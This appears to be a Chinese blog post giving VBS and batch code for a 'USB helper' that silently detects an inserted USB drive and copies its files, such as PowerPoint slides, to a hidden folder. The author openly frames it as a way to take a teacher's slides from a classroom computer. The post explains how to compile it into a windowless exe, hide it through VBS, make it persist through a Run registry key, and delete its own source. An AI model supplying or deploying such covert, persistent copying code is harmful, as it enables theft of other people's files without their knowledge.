馬上期末考試了，老師復習課講得PPT是精簡版的，老師說了之前上課的PPT可以給但是這個不可以，如果得到期末必過了。本想著把我這個自己花了3個多小時做的U盤助手在教室的電腦上運行著，下課我就可以得到PPT了，但是無奈我如此正義凜然，以及信息安全的專業我有著極好的專業素養。我還是放棄了做壞事。希望大家也是如此。當然這個U盤助手還可以讓你更方便，比如你需要把U盤中的某一特定類型的文檔經常復制到電腦，自己手動復制是不是很麻煩？或者經常手動備份U盤資料很麻煩，有了它你會更方便。

打包好的代碼及程序

這是網上找的vbs語言寫的，有一定英語能力和vb能力的想必不難看懂，本人沒學過，大致還是可以理解的，但是代碼看著太長，而且需要自己設定U盤盤符，復制文件類型，目錄，顯得有些麻煩。

set fso=createobject("scripting.filesystemobject") set ws=createobject("wscript.shell") dim USB, file, folder, files USB=inputbox("請輸入U盤的盤符"&Chr(10)&"如插入的U盤為F盤，則輸入F","插入的U盤盤符","F") folder=inputbox("請輸入復制到的文件夾"&Chr(10)&"如想復制到D盤，請輸入D:\","請輸入復制到的文件夾","C:\USB") files=inputbox("請輸入要復制的文件類型"&Chr(10)&"如要復制EXCEL文件，輸入xls；默認為全部類型","請輸入要復制的文件類型","ALL") USB=USB & ":\" folder=folder & "\" if files="ALL"then file=USB & "*" else file=USB & "*." & files end if if FSO.FolderExists(folder) then else FSO.CreateFolder(folder) end if on error resume next do wscript.sleep 1000 if fso.driveexists(USB) then fso.copyfile file,folder fso.copyfolder file,folder wscript.sleep 20000 end if loop 下面詳細講解我自己寫的bat實現

1、創建一個保存復制的文件的文件夾：

md C:\Upan（我這里創在了C盤根目錄）至于這句： setlocal enabledelayedexpansion 解釋起來太復雜，有篇博客就是說這個的可以自己搜索下，這句幾乎是bat下for循環必須的語句

2、然后設置要檢測的可移動磁盤（我的可移動磁盤是d）：

set "driver=d"3、然后用循環一直檢測，直到檢測到U盤在執行命令：

for %%a in (!driver!) do (
：：此處輸循環執行的命令
)

for循環用法：for %%變量 in (集) do 命令，變量：(記住如果是在批處理中使用for命令時，變量前的%需改為%%)這個變量名是由單個字母組成且區分大小寫（原幫助是這么說的，實際運用中用單個數字作為變量名試過證明也可行），如%B和%b代表的是不同的變量。集：由系列文件、字符串或由命令產生的內容形成的集合（當然可用通配符 * ？，還可引用環境變量），FOR命令是按一定順序和規律分次讀取集中內容，賦值給變量，并執行do后的命令，進行循環下一輪，直至集中內容讀取完畢，而括號是格式必須的(in到后面括號之間要有空格)。命令大家都知道。

4、如果檢測到U盤，則執行復制命令，復制U盤中所有的PPT到我們創建的保存復制的文件的文件夾（C:\Upan）：

if exist %%a: ( xcopy /C /E /Q /K /Y d:\*.ppt C:\Upan exit )/C 有錯誤也復制，/E 復制目錄和子目錄，包括空目錄，/H 也復制隱藏文件和系統文件，/Q 復制時不顯示文件名，/K 復制屬性，/Y 取消提示以確認要覆蓋

5、使用跳轉語句goto，如果沒有檢測到U盤盤符就跳轉到for循環處繼續執行檢測磁盤

::檢測U盤是否插入，插入則復制U盤中所有文件到指定盤 @echo off md C:\Upan setlocal enabledelayedexpansion ::下面設置好要檢測的盤符,以空格或逗號相隔 set "driver=d" :start for %%a in (!driver!) do ( if exist %%a: ( xcopy /C /E /Q /K /Y d:\*.ppt C:\Upan exit ) ) goto :start 這樣的bat運行是有點沒中不足的，像這樣總是有個黑框挺難看的

下載bat轉exe的軟件如Quick Batch File Compiler，打開軟件，選擇“打開”來打開寫好的bat

然后找到“選項”設置幽靈應用程序，然后點構建，然后設置exe文件名并生成一個exe文件

，此時運行該exe不會有任何顯示，但是可以在進程列表看到已經運行了

如果你想讓這個程序開機自動運行，可以通過vbs或者bat，或者直接把開機自啟的bat命令添加在上面的文件按上述步驟完成。

1、VBS腳本實現

Set ws = CreateObject("Wscript.Shell") ws.run "cmd /c for.bat",vbhide 把for.bat改為你想要開機自啟動的bat或者exe文件

2、bat命令獨立實現

1）修改注冊表

copy %0 c:\for.exe,把for.exe復制到C:\

下面那句是修改注冊表鍵值，讓C:\for.exe開機自啟動

最后一句是刪除for.exe源文件

復制下面代碼到新建文本文檔，只需要把for.exe改為你的bat文件名或者exe文件名，然后保存，把文檔名改為xxx.bat運行就可以了

@echo off copy %0 c:\for.exe REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v for.exe /t REG_SZ /d c:\for.exe /f del %0 2）在系統啟動菜單創建快捷方式

復制下面代碼到新建文本文檔，然后保存為xxx.bat運行就可以了

@echo off copy %0 "%userprofile%\「開始」菜單\程序\啟動" del %0 3、把1）的代碼添加到前面bat文件的第二句（md C:\Upan）后面，注意：1）中的for.exe是指最后要轉換成exe文件的文件名，如果你要把bat轉換成的exe文件名為U盤助手.exe，那就把1）中的所有for.exe改為U盤助手.exe即可，或者你可以把生成的exe文件改為for.exe也可

總結

以上是生活随笔為你收集整理的后台静默检测U盘并复制U盘内指定文件到电脑指定目录（U盘助手）的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。